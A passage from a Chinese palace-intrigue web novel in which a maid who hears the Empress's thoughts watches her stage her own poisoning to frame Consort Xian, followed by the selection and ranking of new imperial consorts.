【皇上也不知道幕后之人是谁,能做的有限,但即便如此,也给出了态度。】 【我身为皇后,不该计较太多。】 皇后回到坤宁宫,神情已经归为平靜,普通女子应该有的娇嗔痴怨未起便被她悄无声息压了下去。 等收到乾清宫送来的礼物清单,她讓青玉将东西放入库房,唇邊也含上了舒心的笑。 心情彻底轉好。 皇上送给她这个皇后的东西当然不少,可这次的礼物却意味着他在哄她。 为乾清宫发生的一切表示歉疚,对皇后母子的疏忽感到惭愧。 一个帝王向她的妻子微微低下了头颅。 皇后便也满意了,晚上用膳也用了不少,更讓人找来大选分散一下注意力。 沈青原本以为这件事已经过去了,刚放心没几天,有消息传出皇上在慈宁宫因贤妃侍奉太后不周而怒斥于她,湯碗也碎了一个。 当皇后问及宫中有什么事发生时。 沈青便将此事说与皇后听,然后还不待她继续说玉嫔与兰贵人在禦花园因为一朵开得极盛的花起争执时,便发觉皇后的态度有异。 沈青抬头,见皇后不知什么时候安靜了下来,笑容不再,眉眼有些痛苦。 她连忙开口:“娘娘是身子有什么不适吗?奴婢这就去叫太医!” “不必!”皇后的声音难得尖锐,手也抓住沈青的袖子,讓她没法离开,她缓和了语气,“沈青,去把门关上,就我们两个人,本宫想静一静。” 沈青让室内的小宫女出去,四个大宫女此时不当值,所以这里地位最高的宫女就是她。所以皇后只留她一人,是很应当的事。 她将门关上,回到皇后身邊,担忧道:“娘娘。” 皇后似有什么委屈,眼泪在眼眶中打轉,看着沈青道:“如果有人騙了你怎么办?” 表情无助又脆弱。 沈青心疼坏了:“打回去!有人敢騙奴婢,奴婢就用拳头打回去,怎么解气怎么来。” “所以是有人骗了皇后娘娘吗?” 皇后缓缓点了点头。 沈青啐了一口:“真是个杀千刀的,这么好的娘娘也敢骗,吃了熊心豹子胆了!” 然而,她转念一想,能给皇后委屈受的人,天底下也不多了。 拢共就俩,一个皇上一个太后。 果然,皇后的下一句话便是:“慎言。” 【本宫如何能找皇上的过错。】 沈青做了个封口的动作,她也没胆大包天到指名道姓骂皇上,指桑骂槐而已,完全是无心之过。 她又问:“可是关于贤妃的?” 让皇后突然不高兴,不外乎她刚刚说的话,她刚刚话中主人公就三个,太后皇上贤妃。 再一排除,就剩贤妃了。 皇后没回答是与不是,靠在絲绸铺就的软座上,模棱两可道:“贤妃是太后親侄女,皇上親表妹,就算是她给本宫气受,本宫又能怎么样呢?” 皇后失落起来,现下对皇上也多了几分怨怼。 【皇上从不无故放矢,贤妃侍奉太后再周到不过了,去慈宁宫请安就连本宫都插不上手,皇上也多有赞扬。只能说明皇上知道那药是贤妃下的,人也是她早早安插的,所以才借此敲打贤妃。】 皇后心声给出的信息量实在太大,沈青也恍然,想起诸多细节。 惠贵嫔与贤妃在贤妃入宫后便开始交好,贤妃身上有利可图,所以即便贤妃收买了翠环,即便她因此事被牵连,惠贵嫔都会帮贤妃扫好尾,不然她这几年的隐忍谋算便只能是一場空了。 且惠贵嫔纵然帮皇后扳倒了贤妃又如何,贤妃背后有太后,必不能让她落到杜氏那般下場,到头来,皇后与太后斗法,她这个不受宠的惠贵嫔就只能沦为炮灰。 贤妃和皇后她總要得罪一个,因与贤妃有三年情谊,便注定不会选择皇后阵营。 这才导致了如今这般场面。 沈青只能安慰皇后:“您是皇后,贤妃再怎么样也不会越过您去,且娘娘还怀有皇嗣,待生下皇子,您便是嫡长子的生母,未来尊贵着呢。纵然贤妃是皇上的亲表妹,但这亲缘关系總有淡薄的时候,您瞧,皇上不还因为如此小事而当着太后的面责怪贤妃。” “皇上对贤妃的宽宥总有耗尽的时候,娘娘不同,娘娘与皇上的情分还长久着呢。” 皇后似是从这话中汲取了力量:“对,皇上与贤妃不过幼时见过几面,哪有那么深的情谊,还不是皇上看在太后的面子上给她尊贵体面。” 沈青见此一喜,再接再厉道:“娘娘这么想就对了,娘娘怀有皇嗣,皇上太后对此很期盼,现下这才是一等一重要的事。” 若论取舍,平安生下皇子,长子长孙的存在,皇上太后再偏心,也不会偏到贤妃身上。 皇嗣的紧要程度,那自不必说。 皇后抚了抚尚还平坦的腹部,目光沉沉:“对,本宫有孕在身,这是本宫的倚仗。” 【可本宫还是咽不下这口气。】 【凭什么颜氏能全身而退,查不到也就罢了,如今查到了,本宫怎能轻易放过她,给腹中胎儿留下遗患?】 沈青听到心声一哽。娘娘啊,孕妇最忌讳心思重! 她总算感受到了为什么宫斗小说中,明明千叮咛万嘱咐有孕的妃子以胎儿为重,宫女也是又劝又哄的,还能胡思乱想到流产收场。 她该怎么转移皇后的注意力? 皇后开口道:“把青古叫来。” 【若本宫腹中胎儿再遭毒手,皇上是偏向贤妃,还是偏向本宫?】 【皇上应是忍不了贤妃一而再的下毒手吧。】 虽然皇后的心声很犹豫,但沈青确定,皇后是有这方面的打算,她要以身涉险,借此机会痛击贤妃。 因为有前面犯下的事在,皇上正是疑心贤妃的时候,到时,贤妃是真的怎么也说不清了。 沈青焦急却又无可奈何,她不能 对皇后指手画脚,亦不能拿皇后没说过的事阻止皇后,所以只能领命去找青古过来。 这次,只有青古在皇后身边,两人相谈了什么她是不得而知了。 几天后,皇后喝的羹湯中被人下了毒,因毒性过大,皇后只喝了两口,便感到身体不适,嘴中溢出了鲜血。 青玉抱住皇后,眼中流露出焦急,吼道:“速去传太医!” 坤宁宫乱糟糟一片,沈青拉住一名小宫女便往太医院跑。坤宁宫只常驻了一位医女,医术自然没有太医院的太医高,她不知道皇后对自己下了多大狠手,只能尽快将太医叫到坤宁宫。 路上,她遇见王定,想起王定是禦前的人,焦急道:“皇后中毒吐血了!” 王定见她往太医院的方向跑,连忙道:“让太監去,他跑的快。你隨我去禦前请皇上。” 王定的话音未落,身边的太監快步跑了出去。 沈青道了一声也好,带着小宫女跟着王定往乾清宫方向赶。 此刻,请皇上主持大局或许更契合皇后的心思。 现下正值晌午用午膳的时候,事发突然,坤宁宫的宫人还没将消息递到皇上这边来,正晕头转向不知如何是好,等想起去请皇上时,只见皇上已经匆匆来到了坤宁宫,他身后跟着王積贵与沈青。 等纪宸进入殿中,发现皇后的脸色苍白,眼中惶惶,不停摸着肚子,至此,他才感受到心痛。 于是上前握住皇后的手:“朕来了,会没事。” 皇后反握住皇上的手,声音凄惶:“皇上,一定要查到幕后真凶,真凶一日不水落石出,臣妾心中便一日难安!” 此时,跟隨王定的太監恰好把御医请来,于是皇上便没时间给皇后承诺,让出位置:“速速为皇后诊治,朕要皇后和胎儿都安!” 太医上前。 皇后眼见着与皇上的距离拉远,却无能为力,只能不甘心闭上了眼。 太医诊治了一番,又尝了一口那碗有毒羹湯,得出结论道:“皇上皇后,此乃剧毒,下在羹汤里是奔着害人性命的打算去的,不过因皇后喝的少,并未危及胎儿。然而,此毒发作极快,现下已毒入肺腑,纵然微臣将皇后救回来,日后也免不了受咳疾困扰。” 说着,太医便已开好了药方,交给青玉,让她拿下去熬药。 随即他展开装着银针的布包,开始施针为皇后控制毒素。 留在室内的青古见此松了一口气,太医院中的柳太医最擅解中毒之症,今日也是他当值,不然也不敢下如此剧毒。 再见皇上脸色铁青,她便知道,成了。 沈青双眼通红,头发微微凌乱,心道,皇后也太大胆了,完全不将自己的命当命。 纪宸不停地拨着手上的玉扳指,愈来愈快,就跟他的心情一样很不平静。 他终于分出神准备彻查此事,便抬眼看了王積贵一眼,将此事交于他,见王積贵颔首,纪宸这才收回了目光。 但却不敢再往皇后的方向看。 愧疚,若非没有好好惩治贤妃,贤妃也不会有恃无恐到再次下手。 这厢王積贵拉住沈青的袖子拽了拽,朝殿外指了指,明显有话要问,于是她便跟着他出去。 皇后的羹汤出了问题,王积贵必然要盘问坤宁宫上下,揪出在羹汤里下毒的人。在皇上来的时候,坤宁宫中的宫人已经被乾清宫的人控制了起来。 不过沈青没想到,她会是第一个被盘问。 沈青已经做好往皇后无辜的方向引,谁知王积贵的第一句话是:“不必担心,皇后会没事,皇上也一定会严惩真凶。” 他默默给沈青递上了手帕,上面带着一股幽香。 沈青拿到擦了擦眼泪,见到有其他御前的太監在盘问可疑之人,便明白王积贵此举只因与她有私交。 心中不免泛上涟漪,极力为皇后说话道:“干爹,皇后真的对我很好,我不希望皇后出事,所以有点害怕。” 王积贵道:“我知晓。” 沈青还在团着帕子擦眼睛,眼皮越擦越红,王积贵只能道:“把帕子还回来。然后跟着我去认一认坤宁宫的宫人。” 因正事在前,沈青应下,将湿了的帕子还给王积贵,王积贵抓住,塞进了袖子中,带着沈青往太监发现了什么的方向走去。 待走到,才看见有太监已经畏罪自杀,服用毒药产生的症状与皇后相似,只不过皇后的症状更轻,这个太监已经七窍流血回天乏术了。 御前的太监平静地收拾残局,坤宁宫这名太监的惨状没引起他们丝毫情绪起伏,似乎已经處理过不少这样的事。 王积贵见状目光一沉,刚要遣沈青离开,沈青便已惊呼出此人的身份。 “他是取膳太监小柱子,今天的膳食是萱草带着他去取的,今日也轮到了他当值。” 坤宁宫人手多,因此实行的是轮值,乾清宫亦是如此。 沈青说完便避过身不忍再看,不由思量这名太监到底是皇后找的替死鬼,还是真的是其他宫的人,恰好被皇后利用了。不过即便私心再大,前者的可能性明显更高。 王积贵已经叫人去找萱草,萱草赶来后,很快明白原委,厌恶地看向那名太监。 “死了真是便宜他了。”说完便回忆起今日取膳的事,“在御膳房取膳时,小柱子掀开食盒查看过,我当时还以为他在查看御膳房今日给娘娘的膳食有什么不妥之处,原来是趁着那时候在往羹汤中下毒。” 王积贵隐隐有不好的预感。果然,将坤宁宫上上下下查了一遍,只在小柱子的住处搜出未用完的毒药。然而下毒的小柱子,却已服毒自尽,线索完全断了。 他只能将查出的事禀报给皇上。 同样的下毒方式,同样的灭口手段,纪宸闭上眼握着拳,对贤妃的怀疑已经到了深信不疑的地步。 第30章 第30章宫女三十日 青玉亲自盯着取药煎药,然后又在得到柳太医的首肯后,喂给皇后。 柳太医已经控制住了皇后体內的毒素,这一碗药喂下去,皇后吐出秽物,便已经差不多了,日后只需要精心调养,便能恢复地七七八八,但身体完全好,依柳太医的说法是不太可能。 皇后知道自己凤体有损,神情悲哀中帶着对幕后黑手的愤恨,心中则对这个結果很满意。身体永远好不了,意味着皇上一见到她留下的病症,便能想到今日之事。 即便暂且扳不倒贤妃,她也要皇上对贤妃有着深深隔阂,如此,颜氏便没有可能更进一步。 紀宸已经重新坐到了皇后床邊,皇后仍虚弱着,她的眼泪止不住地横着流进发中,却只对皇上说:“皇上,我们的孩子无事,臣妾没有辜负皇上所托。” 这时候说这种话,只能讓紀宸本就愧疚的心情加深。 皇后怎么会不懂呢?她太懂了,所以才说出这种直戳紀宸心窝的话。 她看着皇上眼中一片阴鸷,握着她手的力度加深,她没有感觉到疼,只感觉到快意。 紀宸如梦初醒般松开皇后的手,没有告诉皇后线索已经断的事,道:“这件事已经有些头绪,待收集完證据,朕会给皇后一个说法。” 既没有證据,那就制造证据。 皇后看着皇上,似是满心依赖,点了点头:“臣妾相信皇上。” 纪宸又说起另一件事:“你的身体亏损严重,近些天不要再操劳宫务。朕想将你身邊的大宫女青玉封为从三品司宫令,统摄后宫女官,以此来辅助你。” 皇后听到上半句时,心里一紧,若因此丢失宫权,絕不是她想看到的,但听到皇上将话说完,她这才放心。 从三品司宫令位比从三品的嫔,只處于主位娘娘之下,总领后宫女官,也只在大殷开国时设立过,因为权力过大,被废弃了数朝。 皇后笑着应下,青玉是她的心腹,看似权力进行了转移,却还是牢牢握在她手里。 后面她废置司宫令这个官职也简单,但只要青玉忠心,她就会讓青玉在司宫令上呆得更久。 如今青玉成为司宫令,那她身邊的大宫女便少了一位,于是她对皇上道:“皇上,臣妾想提拔二等宫女沈青成为大宫女,她虽资历浅些,但很得臣妾的心,经常哄臣妾开心。” 沈青已经和皇后绑得很深,皇后虽相信沈青不会背叛她,但必要时候也会 进行提拔,以此来巩固这份忠心。 纪宸的记忆不差,如何能忘得了那名小宫女,不过讓皇后偏心至此,小宫女是有些优点在身的。 皇后怀有身孕,这种时候,她的开心是最重要的。更何况,纪宸还心有愧疚。 纪宸允诺下来,左不过一个大宫女的位置。 皇上皇后又说了些话,皇后露出疲态,皇上讓皇后好好休息,便離开了坤宁宫。 回乾清宫的路上,王积贵道:“皇上,您还未用膳,奴才已经让御膳房重新做了一桌送过来了。” 纪宸看奏折耽搁了时间,刚吃上两口,便被坤宁宫的宫人叫走。他身为皇上不在意此事,但王积贵却要关心皇上龙体的。 纪宸点头,坤宁宫中的事仍让他心有余悸,听到王积贵的声音,想到王积贵将乾清宫治理地如此严密,便吩咐道:“王积贵,你这些天去坤宁宫协助皇后的大宫女将坤宁宫內外整治一番,把一些臭鱼烂虾處理幹净,朕不希望还会发生明目张胆投毒,危害一国之母凤体的事。” “奴才遵旨。” 纪宸抬脚踏进乾清宫。 坤宁宫内。 即便青玉和沈青纷纷被提拔,但两个人的臉上没有一点喜意。 皇后此番行事只有青古知晓,其他三名大宫女都被瞒得严严实实,因为皇后觉得,知道的人越少,暴露的风险就越低。 所以沈青只能佯装不知道,一心为皇后感到委屈。 皇后一觉醒来,听到皇上会派王积贵来调查坤宁宫宫人,即便青古已经将尾扫掉了,小柱子也是自愿赴死,心中还是会感到不安定。 于是她只得将沈青叫来,看到沈青委屈巴巴的模样,觉得宽心又好笑:“既成大宫女了,便该稳重些。” 沈青轻声反驳道:“如果要皇后被贼人所害奴婢才能升职,那奴婢情愿一直当个小宫女。” “傻话。”皇后呵斥道,面上却无半分斥责之意。接着她想到什么似的开口,“沈青,你可与王积贵相熟?” 沈青:“在乾清宫有过几面之缘,似是个很溫和的大太监。” 皇后若有所思。 【溫和?王积贵絕对不是这样的人,面慈心狠,手段阴险狡诈,钱全忠与他比起来都算得上是光明磊落。不过这样也好,沈青与他接触起来,便不会那么害怕。等此事过去再让她離王积贵远些。】 皇后没有纠正沈青对王积贵印象:“之后王积贵会被皇上派来坤宁宫,如此便由你来襄助他整顿坤宁宫,如何?” 沈青自然没有拒绝的道理:“奴婢领命。” 这时青古也帶着药进来,奉到皇后手边:“娘娘该喝药了。” 没沈青什么事,她便退了出去。 王积贵带着些小太监是第二日来的,沈青早早迎在坤宁宫门口,见状唤道:“王公公”。 王积贵略略点头,便开始排查起坤宁宫的宫人是否是旁人安插进来的。 皇后虽未明说,但沈青知道,皇后想让她检查关于小柱子的痕迹是否真的扫除幹净,不要给王积贵留下把柄。 于是沈青便尽职尽责地盯着,皇后行事虽有不妥,但若要咽下贤妃给的委屈未免太被动了,所以她是有些心疼皇后的。 王积贵被她盯得有所感,回头看她,沈青便会一臉甜笑,糊弄过去:“王公公看奴婢,是奴婢脸上有什么不妥之处嗎?” “无。” 于是沈青更理所应当跟着王积贵了,像个小尾巴。 午膳时候,沈青极力劝王积贵他们留下来,但他们有自己的章程,必须得走,沈青试过后便不强留,只叫小厨房做了些糕点装在食盒里,再由她递给王积贵。 “辛苦王公公了,这里是一些糕点,不是很腻,带有些清香。各位公公尝尝,真的很好吃。” 王积贵闻言,便知道这是沈青爱吃的糕点。他不期然想到,小宫女让厨房多做点,送些给他们,她就可以顺理成章留下一部分自己吃。 不对,现在已经是大宫女了。 王积贵伸手拎过食盒:“那就多谢沈青姑娘了。” 沈青惊讶了一下,她还以为王积贵会拒绝来着,不过厨娘做得多,拿走就拿走吧。 她把手伸在锁骨的位置处挥了挥,挥别王积贵等人。 不过下午,乃至这几日王积贵都会来坤宁宫。这样的分开不过一个用膳的功夫。 等目送着他们的身影不见,沈青便回殿中与皇后汇报早上的事。 皇后闻言,眉头略松,不吝啬夸奖道:“你做的很好。” 不用多加点拨便能明白她的意思。 皇后提着的心彻底放下了。 王积贵带人将坤宁宫中的宫人查了一遍,还真查出别宫的人,結果自然是押离坤宁宫,再由他亲自选了背景干净的宫人填补进坤宁宫。 几日后,皇上特意派人让皇后与他一起去慈宁宫請安。 皇后身体已经转好,只是仍旧虚弱,去慈宁宫一趟是不碍事的。 自太后回宫,贤妃便日日去慈宁宫陪太后说话,在慈宁宫撞见贤妃已经是必然的。 想到这,皇后便摸清了皇上的用意,带着沈青和萱草便去向太后請安。 皇上和皇后一同进入慈宁宫,太后奇道:“怪了,今日太阳是打西边出来的,皇帝和皇后怎么一齐来了?” 纪宸没有接太后的话,只道:“儿臣给母后请安。” 皇后也道:“儿臣恭请母后圣安。” 贤妃正伴在太后身边,站起来给皇上皇后行礼,察觉到皇上的态度有异,虽然有些不明白,但仍将这种态度记在心间。 皇上已经坐在了太后身边的位置的上,见到贤妃淡淡道:“贤妃也在?” 贤妃再次站起来,轻声说了是。 皇后也随即坐在了位置上,随手端起一盏茶,沈青和萱草侍立身后。 殿中的人并不多,纪宸也没说什么让闲杂人等离开,只突兀雷霆撂下一句:“贤妃你可知罪?” 皇上发怒,众人皆绷紧了心弦,唯独太后蹙眉不解其意,目光落到已经跪下的贤妃身上。 贤妃就更不明白了,将做过的事回想一遍,竟然不知道是哪件事惹怒了皇上,居然值得皇上说她有罪。 “皇上息怒,臣妾不明白您说的是什么意思。” 纪宸冷声:“毒害皇后,谋害皇嗣,证据确凿,你还有什么话可说?” 贤妃脸上一白:“臣妾冤枉!” “不知悔改。”纪宸厌烦撇过脸。 皇后将贤妃的神情收入眼中,想要看出她的破绽之处。 贤妃更惶恐了,求助地看向太后:“太后娘娘,臣妾真的什么都没干!给臣妾再大的胆子,臣妾也不敢谋害皇后和皇嗣,臣妾只有十八岁,哪会有这般狠毒的心肠?请皇上太后重查此事。” 太后为难地看向皇上:“这,也许贤妃真是冤枉的,她这孩子哀家从小看到大,性子是极为温良孝顺的,如何能做出这般恶事?” 纪宸将证据交给太后。 良久,太后叹了一口气:“不过是些宫人口供,反咬主子的事皇上见得还少嗎?当年先帝后宫联手陷害昭贵妃,那些奴才反水再反水,皇上难道不知吗?” 纪宸垂眼:“正因为当年的事,朕看这后宫才看得更清,是人是鬼,朕心里有数。” “皇上!”太后呵责,“这种话怎么能放在贤妃身上,她是你的妃子,你的表妹!” 贤妃继续表露着冤枉,等待皇上与太后斗法结果。 “可朕亦是你的儿子。” 太后的表情瞬间柔软了起来。 纪宸顺势道:“贤妃?” 太后折中道:“贤妃御下不严,便留在坤宁宫小佛堂自省。” 太 后既仍唤着贤妃,便是下定决心保贤妃尊位的。 颜家在后宫不能没有一位高位嫔妃。 贤妃神色刚缓和,就听纪宸接着道:“既然母后不愿贤妃降位,那她便在小佛堂呆到皇后顺利产子,在此期间需要日日亲自为皇后和皇嗣祈福,朕会派嬷嬷来盯着。若皇后这胎不稳,皇后和皇嗣只要一个出现问题,便证明祈福的心不诚,她便不用再从小佛堂出来了。母后看这,可好?” 贤妃睁大了眼睛,不明白皇上缓和的话中如何说出这么残忍的结果,这不是逼太后和她来保皇后和她腹中的胎儿吗? 这比降了她的位,夺了颜家体面还要让人憋屈。 太后沉默,见皇上不急的模样,便知道拗不过他:“哀家会看好贤妃。” 皇后即便不满意这个结果,也知道这是最优解。罢了,先平安诞下皇嗣为重。 她盯着贤妃的目光别有趣味。 【贤妃啊贤妃,喊冤的时候也要垂两行泪,还是说心已经硬到连泪都不会流了?】 沈青默默听完,不由感叹,母子博弈,先心软的注定会先退一步。 皇上未免太会拿捏太后了,将太后的心理完全摸清了,怪不得人家是孝子。【你现在阅读的是 】 30-40 第31章 第31章宫女三十一日 坤宁宫中,皇上皇后携人甫一离开,太后盯着贤妃的神色便沉了下来。 “姑母。”贤妃从地上爬起来,想要去拉太后的衣袖。 太后拂袖甩开:“别叫哀家姑母,哀家没有你这么蠢的侄女!” “事先没和哀家商量也就罢了,算计也算计不明白,就算你将皇后连带她腹中胎儿弄死了,你以为你就能登上那个位置嗎?” 贤妃反驳道:“我根本没奢望将皇后弄死,我只是不想她先其他人一步怀上孩子,这个皇子德妃生都行,就是不能从皇后肚子里出来。姑母你常说,皇上重视嫡长子,若皇后顺利产子,那便是板上钉钉的太子,到那一天,又讓我如何去争?” “皇上表妹?皇上根本不喜欢我这个表妹,宁愿怜惜玉嬪,去受高氏的冷脸,也不愿去我长春宫多一些。姑母,我非宠妃啊!” 太后的目光更冷了,看贤妃跟看一根木头似的:“真是不中用,若非你姐姐病逝,我也不至于扶持你这么个蠢货。” 她用毫无起伏的语气吐出最伤人的话。 贤妃一瞬间失魂落魄起来,过了一会儿,惨声道:“那是她命不好,与我何干?” 難道她活着就一定要處于颜家长女的阴影中嗎? 入宫时,太后不也对她赞赏有加吗?既看不上她,何苦讓她入宫? 啪—— 清脆的巴掌声在殿内响起,太后最受不了的就是有人挑衅她,当太后养尊處优久了,气性也越发小了。 贤妃猝不及防之下没能躲开,脸被打偏过去,半边发髻散开了几缕。 她咬着一口银牙,双目通红,伸手捂住脸,软下声音:“姑母,英华知错了。” 太后此时也意识到自己过了,接过贤妃递来的台阶,缓声道:“你是我的侄女,我如何不疼你?只是你的手段过于拙劣,短时间内,同样的手段如何能用两次呢,以至于被皇上抓到了把柄。哀家曾与你说过,皇上最是念情分,你跟他的时间久了,总会待你不一样。且此次皇后有孕,德妃尚且能按兵不动,你却这般按耐不住。东西都给你掰碎了说,哀家能给颜氏女的也尽皆给了你,你什么时候能懂事些?” 贤妃默默听完,冷不丁道:“姑母,我只害了皇后一次,还没能成功。前几日皇后中毒,并非出自我手。” 太后闻言沉默下来,她回宫不久,又一朝天子一朝臣,对嬪妃背后的宫中势力还没有摸清,一时之间竟然有些看不明白。 “你心中可有成算?” 贤妃疲惫道:“除了臣妾,后宫中有移花接木这样能力的唯德妃一人,这次,是我栽了。” 太后见此,挥了挥手,讓宫人带贤妃下去拿药油抹脸。 在皇上派来盯梢的嬷嬷来之前,贤妃暂且还是自由的。 三月,春和景明,草木蔓发。 秀女在储秀宫住了一个月后,殿选正式开始。 太后、皇上、皇后坐在上首宝座上,等着秀女每五人为一排走进来,问些问題,便能決定留牌子记名还是撂牌子。 皇后对诸位秀女心中有数,也对皇上的喜好有些了解。 果然,容貌最盛的陸云湄陸秀女,皇上只是略略看了一眼,便決定留牌子。 清丽佳人的楚秋娘楚秀女,皇上问了些父兄问題,亦是留下了。除此之外,一株幽兰般的陳皎陳秀女,皇上则是问了些礼乐问题,留牌子。 至于最讓皇后忌惮的王令儀,她还尚未开口,太后便对王秀女赞不绝口,夸她有大家風范,最后自是留了下来。 皇后心知肚明,太后觉得有王令儀这个险些成为皇后的人在,方便给她添堵。 贤妃的事情,可见是让太后不快的,太后迁怒不了儿子,那身为皇后的她便成了眼中钉。 萧裳月见此,只能温婉含笑,还要拿出大度的模样,说母后说的对。 【我忍。】 此时的沈青正在欣赏秀女,看着一个个嫩得能掐出水,正是妙龄的女子,她都快要春心萌动了。 春天啊,正适合早恋的年纪。 然而悲催的是,后宫哪有男人存在? 哦,不对,有的有的。太医就是,但能混上太医,最小的也四十往上了。 当宫女就是这样,需要熬到二十五,方能放出宫去,只是到那时,可选择的范围就极其有限了,甚至大概率是些歪瓜裂枣。 至于在宫中解决终身大事,则有三个选择,一个和宫女,一个和太监,一个和皇上。 第一个不考虑,因为沈青是个铁直的直女,第二个難度大,一个周正不猥琐且能配得上她皇后大宫女身份的太监太难得了,第三个那更是地狱难度。 皇上长的好是好,但位份给的扣不说,生育能力也要打个问号,先帝亡的也早,谁知道纪家的基因有没有问题。 且若沈青真奔着当嫔妃去的话,有能听到心声的金手指,她当初选择的去处应该是御前。 她没那么做,说明还是图安稳更多。 更何况,沈青自认没有智多近妖到能防下宫中的明枪暗箭,皇上也是在皇后两次中招后才给予保护,轮到沈青,第一次的时候怕是已经死了。 最重要的是,沈青现如今只有十四岁,虚岁十五,正是没什么大心思,得过且过的时候。 话说回来,沈青在听到皇后心声的时候,便将注意力转移到了皇后身上。 此刻下面的秀女已经又换了一批,站在正中间的正是李宛意,德妃堂妹。 皇后见到人,眉间拢了些愁绪。 殿选前夕,德妃找到皇后,请皇后让李宛意撂牌子归家,因态度谦卑诚恳,并承诺了一些事,让皇后答应她。 皇后没说应与没应,因为她现在还在纠結,帮助敌人算怎么回事,当初德妃对她可没半分心软。 如今她要因德妃的姐妹情深成全德妃的意愿? 【德妃可真有意思,旁人巴不得要进宫,她却要把堂妹往宫外推。】 皇后当然知道德妃是不想李宛意搅入皇宫争斗,但以她和德妃的关系,心里也是说不出好话的。 然而,皇后仍在犹豫是否顺了德妃的心意时,太后忽然开口:“姓李,这个姓氏怎么那般熟悉,莫不是与德妃有些关系?” 李宛意出列,声音动听道:“回太后娘娘的话,臣女是德妃娘娘的堂妹。” 太后微笑,看向皇上:“德妃深宫寂寥,没个身边人说话,不如将李宛意留下陪一陪德妃?” 纪宸不在意这些小事:“依母后的意思。” 太后满意地收回视线,李宛意已经开始谢恩。 德妃胆敢算计颜家人,莫不是以为她不存在? 德妃越想要什么,她便越要逆了德妃的意。 皇后不需要纠結是否留下李宛意了,毕竟太后已经替她做了决定。德妃便是有怨,也该冲着太后和贤妃去。 之后,皇后做主 留下鄭珠璎。 鄭珠璎当日的示好,沈青禀报给了皇后,皇后手下无人,便想先用一用郑秀女,若日后用的不顺手,弃了再寻便是。 宫中不是东風压倒西风,就是西风压倒东风,更何况,宫内可不止两股风。 皇上选秀女只吃好的,对待中上之姿便有些平淡。 于是剩下的大部分比如小家碧玉的何秀女,饱读诗书的蒋秀女,娇俏可爱的章秀女等等都是皇后做主留下的。 最后一共选十四人,这次大选才算正式结束。 殿选之后,皇后便需要给新人拟定位份,然后将名冊交与皇上,让皇上再做调整。 因皇后怀孕,精神难免有些不济,便又将此事让青玉和沈青商量着来,之后再由她过目。 总之,任务是层层分配的。 为了此事,青玉叫来这批秀女的教习姑姑,来询问入选秀女的表现,再根据秀女的家世和殿选时皇上皇后太后的中意程度,来拟定这十四位秀女的位份。 将名单递给皇后,皇后添上几笔,然后让人重新誊抄,递到皇上跟前一阅。 乾清宫内,沈青将名冊交到皇上手中。 纪宸翻看了一番,道:“三名贵人,是否过多了。” 沈青默默在心里翻了个白眼,看吧,他就是对位份这么吝啬! 名单中的三位贵人分别是陸云湄、王令仪、楚秋娘,三人的容貌皆是绝色,其中陸云湄殿选时得皇上喜爱,王令仪家世最好,楚秋娘父兄给力。至于其他人则差她们一筹。 纪宸也没指望沈青回答,拿上笔便在名册上改起来,最终,陆云湄被更改为美人,但赐了一个“嫣”字做封号,是为嫣美人。 王令仪未动,仍是皇后赐的封号为宣贵人。 太后越是要恶心她,她越要对王氏女多加看重。 而楚秋娘无封号,还是楚贵人。 纪宸诧异问:“为何陆云湄的宫舍在景陽宫?朕记得景陽宫是有主位在的。” 这时,沈青就必须要回答了,还得解清皇帝的困惑:“回禀皇上,景阳宫确有主位,是惠贵嬪娘娘,但惠贵嫔与陆秀女有些姻亲关系,惠贵嫔想在宫中照拂陆秀女,便请皇后将陆秀女赐住到景阳宫中。” 景阳宫如今只剩偏殿无人可居,惠贵嫔此举虽打着照拂的旗号,但着实是坑害到了陆秀女。 有主位和无主位的宫宇能一样? 纪宸不解:“皇后竟能同意?”惠贵嫔不是刚得罪了皇后吗? 沈青浅笑不语。 皇后虽恨惠贵嫔,但更期待景阳宫中的鸡飞狗跳。 纪宸便也后知后觉,动笔的手犹豫起来,最终没给嫣美人挪宫殿。 贵人定了之后,便是美人了,陈皎被封为陈美人,李宛意被封为李美人,美人之位加上嫣美人便是三名了。 纪宸对陈皎有印象,知道李宛意是德妃堂妹,见李宛意的宫舍在德妃的永寿宫中也不意外。 剩下的便是四名才人,五名宝林。 宝林的人选平平无奇,郑珠璎被封了才人,此外,各有特色的何、蒋、章也被封为才人,只是没有封号。 纪宸将名册合上,着人操办新妃进宫事宜。 如此,新妃的二贵人三美人四才人五宝林的格局便定了下来。 第32章 第32章宫女三十二日 待到新妃被一顶顶轿子抬着入宫,一切安顿好后,又是十几日过去了。 那天宫內格外热闹,人来人往,仿佛深深宫邸也被注入了一口仙气儿。 皇后示恩于下,讓人给新进宫的嫔妃都送了赏賜去,尤其是住在南春阁的宣貴人,更是两倍厚礼。 讓人明白她极看重宣貴人,后宫那些莫须有的忌惮传言便也不攻自破了。 而鄭才人那边,与其他嫔妃无二,若只是因赏賜不出挑就不愿投效到她这里,日后用着也刺手。 为着这些赏賜的事,坤宁宫的大宫女全都出动了。 沈青去的是嫣美人的降萼軒和何才人的宁輝苑。 降萼軒在景陽宫中,熟悉的织云殿已经被兰婕妤住下,因为有處在同一宫的织云殿作对比,降萼軒显得格外逼仄。 沈青带着捧有礼物的宫人进入降萼轩,朝嫣美人行礼,道明来意。 她抬头时,嫣美人正浅笑着望向她:“多谢皇后娘娘赏赐。”衬得陋室都亮堂了几分。 沈青照例替皇后关怀嫣美人道:“嫣美人舟车劳顿,一路上辛苦了。若在宫中有什么不适,可找皇后娘娘帮忙,娘娘知道嫣美人姿容绝代,便讓人准备了些布匹首饰,还望美人喜欢。” 嫣美人道:“娘娘送的是我在家中从未见过的好东西,自然是极好的,请替我谢过娘娘挂念。” “美人客气了。”沈青见无什么不妥,便准备离开,“奴婢还要去给宁輝苑的何才人送赏,便不在美人这里久留了。” 嫣美人朝身边婢女示意,婢女将赏赐的银两递给沈青,沈青收下,便再次向嫣美人告退,携宫人离开宁輝苑。 宫內送赏赐的宫人是赚赏银最多的地方,平日能得赏赐的都是得皇上皇后青眼的妃嫔,意味着前程不会差,所以出手格外大方。 不过沈青得的赏银按照惯例是要与一起送赏的宫人分的,不过既是她领头,她就会拿大头。 摸着手里银子的重量,沈青估摸出足有十两。 看来嫣美人的身家不会太差。 初入宫的妃嫔银钱重要,却也不重要。若能直接得皇上寵爱,那银钱便没用武之地了,为了防止寵妃受委屈而给皇上吹耳旁风,宫内各司给宠妃的东西都是最好的,甚至常会超出嫔妃的每日份例。 